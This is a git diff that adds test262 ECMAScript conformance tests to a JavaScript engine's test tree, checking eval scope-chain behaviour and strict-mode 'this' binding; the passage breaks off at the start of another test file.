index 000000000..927a8007d
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T5.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.1_T5.js
+ * @description eval within global execution context
+ */
+
+var i;
+var j;
+str1 = '';
+str2 = '';
+var x = 1;
+
+for(i in this){
+ str1+=i;
+}
+
+eval('for(j in this){\nstr2+=j;\n}');
+
+if(!(str1 === str2)){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
+var y = 2;
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T6.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T6.js
new file mode 100644
index 000000000..b9fb461f6
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T6.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.1_T6.js
+ * @description eval within global execution context
+ */
+
+var i;
+var j;
+str1 = '';
+str2 = '';
+this.x = 1;
+
+for(i in this){
+ str1+=i;
+}
+
+eval('for(j in this){\nstr2+=j;\n}');
+
+if(!(str1 === str2)){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
+this.y = 2;
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T7.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T7.js
new file mode 100644
index 000000000..93160490c
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T7.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.1_T7.js
+ * @description eval within global execution context
+ */
+
+var i;
+var j;
+str1 = '';
+str2 = '';
+x = 1;
+
+for(i in this){
+ str1+=i;
+}
+
+eval('for(j in this){\nstr2+=j;\n}');
+
+if(!(str1 === str2)){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
+var y = 2;
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T8.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T8.js
new file mode 100644
index 000000000..5376140af
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T8.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.1_T8.js
+ * @description eval within global execution context
+ */
+
+var i;
+var j;
+str1 = '';
+str2 = '';
+this.x = 1;
+
+for(i in this){
+ str1+=i;
+}
+
+eval('for(j in this){\nstr2+=j;\n}');
+
+if(!(str1 === str2)){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
+var y = 2;
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T9.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T9.js
new file mode 100644
index 000000000..76d75b8f9
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.1_T9.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.1_T9.js
+ * @description eval within global execution context
+ */
+
+var i;
+var j;
+str1 = '';
+str2 = '';
+
+for(i in this){
+ str1+=i;
+}
+
+eval('for(j in this){\nstr2+=j;\n}');
+
+if(!(str1 === str2)){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
+x = 1;
+y = 2;
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T1.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T1.js
new file mode 100644
index 000000000..229cfc63f
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T1.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.2_T1.js
+ * @description eval within global execution context
+ */
+
+function f(){
+ var i;
+ var j;
+ str1 = '';
+ str2 = '';
+ x = 1;
+ y = 2;
+
+ for(i in this){
+ str1+=i;
+ }
+
+ eval('for(j in this){\nstr2+=j;\n}');
+ return (str1 === str2);
+}
+
+if(!f()){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T10.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T10.js
new file mode 100644
index 000000000..1707379cf
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T10.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.2_T10.js
+ * @description eval within global execution context
+ */
+
+function f(){
+ var i;
+ var j;
+ str1 = '';
+ str2 = '';
+ var x = 1;
+ var y = 2;
+
+ for(i in this){
+ str1+=i;
+ }
+
+ eval('for(j in this){\nstr2+=j;\n}');
+
+ return (str1 === str2);
+}
+
+if(!f()){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T11.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T11.js
new file mode 100644
index 000000000..b94f2aa56
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T11.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.2_T11.js
+ * @description eval within global execution context
+ * @noStrict
+ */
+
+function f(){
+ var i;
+ var j;
+ str1 = '';
+ str2 = '';
+
+ for(i in this){
+ str1+=i;
+ }
+
+ eval('for(j in this){\nstr2+=j;\n}');
+
+ return (str1 === str2);
+
+ this.x = 1;
+ this.y = 2;
+}
+
+if(!f()){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T2.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T2.js
new file mode 100644
index 000000000..72611dc49
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T2.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.2_T2.js
+ * @description eval within global execution context
+ */
+
+function f(){
+ var i;
+ var j;
+ str1 = '';
+ str2 = '';
+
+ for(i in this){
+ str1+=i;
+ }
+
+ eval('for(j in this){\nstr2+=j;\n}');
+
+ return (str1 === str2);
+ var x = 1;
+ var y = 2;
+}
+
+if(!f()){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T3.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T3.js
new file mode 100644
index 000000000..f3cd1b0bf
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T3.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.2_T3.js
+ * @description eval within global execution context
+ */
+
+function f(){
+ var i;
+ var j;
+ str1 = '';
+ str2 = '';
+ this.x = 1;
+ this.y = 2;
+
+ for(i in this){
+ str1+=i;
+ }
+
+ eval('for(j in this){\nstr2+=j;\n}');
+
+ return (str1 === str2);
+}
+
+if(!f()){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T4.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T4.js
new file mode 100644
index 000000000..cebe8f3a2
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T4.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.2_T4.js
+ * @description eval within global execution context
+ */
+
+function f(){
+ var i;
+ var j;
+ str1 = '';
+ str2 = '';
+ x = 1;
+
+ for(i in this){
+ str1+=i;
+ }
+
+ eval('for(j in this){\nstr2+=j;\n}');
+
+ return (str1 === str2);
+
+ y = 2;
+}
+
+if(!f()){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T5.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T5.js
new file mode 100644
index 000000000..802434849
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T5.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.2_T5.js
+ * @description eval within global execution context
+ */
+
+function f(){
+ var i;
+ var j;
+ str1 = '';
+ str2 = '';
+ var x = 1;
+
+ for(i in this){
+ str1+=i;
+ }
+
+ eval('for(j in this){\nstr2+=j;\n}');
+
+ return (str1 === str2);
+
+ var y = 2;
+}
+
+if(!f()){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T6.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T6.js
new file mode 100644
index 000000000..275f8ce98
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T6.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.2_T6.js
+ * @description eval within global execution context
+ */
+
+function f(){
+ var i;
+ var j;
+ str1 = '';
+ str2 = '';
+ this.x = 1;
+
+ for(i in this){
+ str1+=i;
+ }
+
+ eval('for(j in this){\nstr2+=j;\n}');
+
+ return (str1 === str2);
+
+ this.y = 2;
+}
+
+if(!f()){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T7.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T7.js
new file mode 100644
index 000000000..1870bc1fd
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T7.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.2_T7.js
+ * @description eval within global execution context
+ */
+
+function f(){
+ var i;
+ var j;
+ str1 = '';
+ str2 = '';
+ x = 1;
+
+ for(i in this){
+ str1+=i;
+ }
+
+ eval('for(j in this){\nstr2+=j;\n}');
+
+ return (str1 === str2);
+
+ var y = 2;
+}
+
+if(!f()){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
+
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T8.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T8.js
new file mode 100644
index 000000000..8f1282460
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T8.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.2_T8.js
+ * @description eval within global execution context
+ */
+
+function f(){
+ var i;
+ var j;
+ str1 = '';
+ str2 = '';
+ this.x = 1;
+
+ for(i in this){
+ str1+=i;
+ }
+
+ eval('for(j in this){\nstr2+=j;\n}');
+
+ return (str1 === str2);
+
+ var y = 2;
+}
+
+if(!f()){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T9.js b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T9.js
new file mode 100644
index 000000000..e77ca4323
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/S10.4.2_A1.2_T9.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The scope chain is initialised to contain the same objects,
+ * in the same order, as the calling context's scope chain
+ *
+ * @path ch10/10.4/10.4.2/S10.4.2_A1.2_T9.js
+ * @description eval within global execution context
+ */
+
+function f(){
+ var i;
+ var j;
+ str1 = '';
+ str2 = '';
+
+ for(i in this){
+ str1+=i;
+ }
+
+ eval('for(j in this){\nstr2+=j;\n}');
+
+ return (str1 === str2);
+
+ x = 1;
+ y = 2;
+}
+
+if(!f()){
+ $ERROR("#1: scope chain must contain same objects in the same order as the calling context");
+}
+
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/browser.js b/js/src/tests/test262/ch10/10.4/10.4.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/browser.js
diff --git a/js/src/tests/test262/ch10/10.4/10.4.2/shell.js b/js/src/tests/test262/ch10/10.4/10.4.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.2/shell.js
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-1-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-1-s.js
new file mode 100644
index 000000000..9ed7152e4
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-1-s.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-1-s.js
+ * @description this is not coerced to an object in strict mode (Number)
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ 'use strict';
+ return typeof(this);
+ }
+
+ function bar()
+ {
+ return typeof(this);
+ }
+
+
+ return foo.call(1) === 'number' && bar.call(1) === 'object';
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-10-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-10-s.js
new file mode 100644
index 000000000..d737cff1a
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-10-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-10-s.js
+ * @description Strict Mode - checking 'this' (FunctionExpression includes strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+var f = function () {
+ "use strict";
+ return typeof this;
+}
+return f() === "undefined";
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-100-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-100-s.js
new file mode 100644
index 000000000..98deb941e
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-100-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-100-s.js
+ * @description Strict Mode - checking 'this' (strict function passed as arg to String.prototype.replace from non-strict context)
+ * @onlyStrict
+ */
+
+function testcase() {
+var x = 3;
+
+function f() {
+ "use strict";
+ x = this;
+ return "a";
+}
+return ("ab".replace("b", f)==="aa") && (x===undefined);
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-100gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-100gs.js
new file mode 100644
index 000000000..b78f81660
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-100gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-100gs.js
+ * @description Strict Mode - checking 'this' (strict function passed as arg to String.prototype.replace from non-strict context)
+ * @onlyStrict
+ */
+var x = 3;
+
+function f() {
+ "use strict";
+ x = this;
+ return "a";
+}
+if (("ab".replace("b", f)!=="aa") || (x!==undefined)) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-101-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-101-s.js
new file mode 100644
index 000000000..bb7c2c7a9
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-101-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-101-s.js
+ * @description Strict Mode - checking 'this' (non-strict function passed as arg to String.prototype.replace from strict context)
+ * @noStrict
+ */
+
+function testcase() {
+var x = 3;
+
+function f() {
+ x = this;
+ return "a";
+}
+
+return (function() {"use strict"; return "ab".replace("b", f)==="aa";}()) && (x===fnGlobalObject());
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-101gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-101gs.js
new file mode 100644
index 000000000..bc6eba526
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-101gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-101gs.js
+ * @description Strict Mode - checking 'this' (non-strict function passed as arg to String.prototype.replace from strict context)
+ * @noStrict
+ */
+var x = 3;
+
+function f() {
+ x = this;
+ return "a";
+}
+
+if ( (!(function() {"use strict"; return "ab".replace("b", f)==="aa";}())) || (x!==fnGlobalObject())) {
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-102-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-102-s.js
new file mode 100644
index 000000000..0a11390ef
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-102-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-102-s.js
+ * @description Strict Mode - checking 'this' (strict anonymous function passed as arg to String.prototype.replace from non-strict context)
+ * @onlyStrict
+ */
+
+function testcase() {
+var x = 3;
+
+return ("ab".replace("b", (function () {
+ "use strict";
+ return function () {
+ x = this;
+ return "a";
+ }
+ })())==="aa") && (x===undefined);
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-102gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-102gs.js
new file mode 100644
index 000000000..90505a2fd
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-102gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-102gs.js
+ * @description Strict Mode - checking 'this' (strict anonymous function passed as arg to String.prototype.replace from non-strict context)
+ * @onlyStrict
+ */
+var x = 3;
+if ( ("ab".replace("b", (function () {
+ "use strict";
+ return function () {
+ x = this;
+ return "a";
+ }
+ })())!=="aa") || (x!==undefined)) {
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-103.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-103.js
new file mode 100644
index 000000000..a0bc90873
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-103.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-103.js
+ * @description Non strict mode should ToObject thisArg if not an object. Abstract equality operator should succeed.
+ */
+
+function testcase(){
+ Object.defineProperty(Object.prototype, "x", { get: function () { return this; } });
+ if((5).x == 0) return false;
+ if(!((5).x == 5)) return false;
+ return true;
+}
+
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-104.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-104.js
new file mode 100644
index 000000000..42f89deb3
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-104.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ *
+ * @path ch10/10.4/10.4.3/10.4.3-1-104.js
+ * @onlyStrict
+ * @description Strict mode should not ToObject thisArg if not an object. Strict equality operator should succeed.
+ */
+
+
+function testcase(){
+ Object.defineProperty(Object.prototype, "x", { get: function () { "use strict"; return this; } });
+ if(!((5).x === 5)) return false;
+ return true;
+}
+
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-105.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-105.js
new file mode 100644
index 000000000..a66b850cf
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-105.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Created based on feedback in https://bugs.ecmascript.org/show_bug.cgi?id=333
+ *
+ * @path ch10/10.4/10.4.3/10.4.3-1-105.js
+ * @description Non strict mode should ToObject thisArg if not an object. Return type should be object and strict equality should fail.
+ */
+
+ function testcase(){
+ Object.defineProperty(Object.prototype, "x", { get: function () { return this; } });
+ if((5).x === 5) return false;
+ if(!(typeof (5).x === "object")) return false;
+ return true;
+}
+
+runTestCase(testcase);
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-106.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-106.js
new file mode 100644
index 000000000..36afbda2a
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-106.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Created based on feedback in https://bugs.ecmascript.org/show_bug.cgi?id=333
+ *
+ * @path ch10/10.4/10.4.3/10.4.3-1-106.js
+ * @onlyStrict
+ * @description Strict mode should not ToObject thisArg if not an object. Return type should be 'number'.
+ */
+
+ function testcase(){
+ Object.defineProperty(Object.prototype, "x", { get: function () { "use strict"; return this; } });
+ if(!(typeof (5).x === "number")) return false;
+ return true;
+}
+
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-10gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-10gs.js
new file mode 100644
index 000000000..74ee475ae
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-10gs.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-10gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionExpression includes strict directive prologue)
+ * @onlyStrict
+ */
+
+var f = function () {
+ "use strict";
+ return typeof this;
+}
+if (f() !== "undefined") {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-11-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-11-s.js
new file mode 100644
index 000000000..8f7813338
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-11-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
